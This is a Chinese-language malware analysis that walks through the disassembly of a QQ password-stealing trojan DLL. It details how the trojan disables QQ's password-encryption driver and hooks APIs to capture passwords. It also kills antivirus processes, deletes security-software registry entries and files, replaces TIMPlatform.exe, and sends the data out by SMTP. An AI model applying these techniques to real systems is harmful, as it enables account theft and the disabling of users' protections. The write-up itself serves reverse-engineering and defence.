003DBD97 . 8D45 90 lea eax, dword ptr [ebp-70]
003DBD9A . B9 90BF3D00 mov ecx, 003DBF90 ASCII "npkcrypt.bak"
003DBD9F . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDA5 . E8 0A7BFFFF call 003D38B4
003DBDB2 . 50 push eax
003DBDB3 . 8D45 8C lea eax, dword ptr [ebp-74]
003DBDB6 . B9 A8BF3D00 mov ecx, 003DBFA8 ASCII "npkcrypt.sys"
003DBDBB . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDC1 . E8 EE7AFFFF call 003D38B4
003DBDC6 . 8B45 8C mov eax, dword ptr [ebp-74]
003DBDC9 . E8 9A7CFFFF call 003D3A68
003DBDCE . 50 push eax |ExistingName
003DBDCF . E8 C885FFFF call <jmp.&kernel32.MoveFileA> \MoveFileA说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak
003DBDD4 . 8D45 88 lea eax, dword ptr [ebp-78]
003DBDD7 . B9 C0BF3D00 mov ecx, 003DBFC0 ASCII "LoginCtrl.dll"
003DBDDC . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C]
003DBDE2 . E8 CD7AFFFF call 003D38B4
003DBDE7 . 8B45 88 mov eax, dword ptr [ebp-78]
003DBDEA . E8 797CFFFF call 003D3A68
003DBDEF . 50 push eax /FileName
003DBDF0 . E8 9F85FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryALoad一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下)
然后启动一个线程,
003DB098 /. 55 push ebp
003DB099 |. 8BEC mov ebp, esp
003DB09B |. 53 push ebx
003DB09C |. BB A00F0000 mov ebx, 0FA0
003DB0A1 |> E8 16FFFFFF /call 003DAFBC
003DB0A6 |. 6A 64 |push 64 /Timeout = 100. ms
003DB0A8 |. E8 2793FFFF |call <jmp.&kernel32.Sleep> \Sleep
003DB0AD |. 4B |dec ebx
003DB0AE |.^ 75 F1 \jnz short 003DB0A1
003DB0B0 |. 5B pop ebx
003DB0B1 |. 5D pop ebp
003DB0B2 \. C2 0400 retn 4它在每0.1s循环做一件事情:看call 003DAFBC
里面不断的找标题为QQ用户登陆的对话框
找到就在上面的画上一个图标(伪装?)
找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉
接着启动一个线程之后
然后又调用003DBDFA . E8 31FBFFFF call 003DB930
这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析:
看这个call里面:
003DB930 /$ 68 CCB93D00 push 003DB9CC /Arg3 = 003DB9CC ASCII "user32.dll"
003DB935 |. 68 D8B93D00 push 003DB9D8 |Arg2 = 003DB9D8 ASCII "LoadImageA"
003DB93A |. 68 20B83D00 push 003DB820 |Arg1 = 003DB820
003DB93F |. B9 E4B93D00 mov ecx, 003DB9E4 |ASCII "LoginCtrl.Dll"
003DB944 |. B2 01 mov dl, 1 |
003DB946 |. A1 C0B53D00 mov eax, dword ptr [3DB5C0] |
003DB94B |. E8 C8FCFFFF call 003DB618 \up.003DB618又在不断的call
- user32.dll,LoadImageA,LoginCtrl.Dll
- user32.dll,LoadStringA,MFC42.Dll
- shell32.dll,ShellExecuteA,QQHelperDll.Dll
全是用的call 003DB618,这里一定很重要
拿第一组为例子看一下:
003DB639 |. E8 1E8DFFFF call <jmp.&kernel32.GetModuleHandleA> \GetModuleHandleA
003DB63E |. 8947 08 mov dword ptr [edi+8], eax
003DB641 |. 837F 08 00 cmp dword ptr [edi+8], 0
003DB645 |. 74 2E je short 003DB675
003DB647 |. 895F 0C mov dword ptr [edi+C], ebx
003DB64A |. 8B45 08 mov eax, dword ptr [ebp+8]
003DB64D |. 8947 10 mov dword ptr [edi+10], eax
003DB650 |. 8B45 0C mov eax, dword ptr [ebp+C]
003DB653 |. 50 push eax /ProcNameOrOrdinal
003DB654 |. 53 push ebx |/pModule
003DB655 |. E8 028DFFFF call <jmp.&kernel32.GetModuleHandleA> |\GetModuleHandleA
003DB65A |. 50 push eax |hModule
003DB65B |. E8 0C8DFFFF call <jmp.&kernel32.GetProcAddress> \GetProcAddress从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着
003DB670 |. E8 67000000 call 003DB6DCCall了一下,跟进去:
一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢
可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。
那么其它的就不用说了吧
它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。
在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。
回过头来看看
003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread> \CreateThread那个线程吧
地址是:003db3fc
到那里去看看
发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。
这5个线程:
- 003db0d0
- 003db10c
- 003db120
- 003db12c
- 003db244
003db0d0:里面看003DB0F1 |. E8 A6D0FFFF call 003D819C
跟进去会看到:
003D81E7 |. E8 98FBFFFF call 003D7D84 再跟进去:
003D7D8A |. E8 79FDFFFF call 003D7B08再跟进去:会发现开始不断的得到一系列列出进程的函数的地址
不断的调用它们把进程,模块,线程都列出来
然后和它储备的一些比较,并在这里
003D8262 |. E8 15FFFFFF |call 003D817C
003D817C /$ 53 push ebx
003D817D |. 50 push eax /ProcessId
003D817E |. 6A FF push -1 |Inheritable = TRUE
003D8180 |. 68 FF0F1F00 push 1F0FFF |Access = PROCESS_ALL_ACCESS
003D8185 |. E8 22C2FFFF call <jmp.&kernel32.OpenProcess> \OpenProcess
003D818A |. 8BD8 mov ebx, eax
003D818C |. 6A 00 push 0 /ExitCode = 0
003D818E |. 53 push ebx |hProcess
003D818F |. E8 48C2FFFF call <jmp.&kernel32.TerminatePr> \TerminateProcess结束进程.
来看第二个003db10c:
003DB10C /. 55 push ebp
003DB10D |. 8BEC mov ebp, esp
003DB10F |. E8 10D9FFFF call 003D8A24
003DB114 |. E8 A3DCFFFF call 003D8DBC
003DB119 |. 5D pop ebp
003DB11A \. C2 0400 retn 4里面有两个call:
第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。
把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。
第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。
第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。
不过在里面又启动一个线程
003D9BE5 |. 50 push eax /pThreadId
003D9BE6 |. 6A 00 push 0 |CreationFlags = 0
003D9BE8 |. 6A 01 push 1 |pThreadParm = 00000001
003D9BEA |. 68 84993D00 push 003D9984 |ThreadFunction = E83B4A4D.003D9984
003D9BEF |. 6A 00 push 0 |StackSize = 0
003D9BF1 |. 6A 00 push 0 |pSecurity = NULL
003D9BF3 |. E8 2CA7FFFF call <jmp.&kernel32.CreateThread> \CreateThread进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。
第四个:看
003DB173 . E8 08A9FFFF call 003D5A80进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议
看第五个:
读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径
003DB302 . E8 95CEFFFF call 003D819C上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。
003DB31F . 50 push eax
003DB320 . 8D45 E8 lea eax, dword ptr [ebp-18]
003DB323 . E8 A097FFFF call 003D4AC8
003DB328 . 8B45 E8 mov eax, dword ptr [ebp-18]
003DB32B . E8 3887FFFF call 003D3A68
003DB330 . 50 push eax |ExistingFileName
003DB331 . E8 B68FFFFF call <jmp.&kernel32.CopyFileA> \CopyFileA把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak
然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。
鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^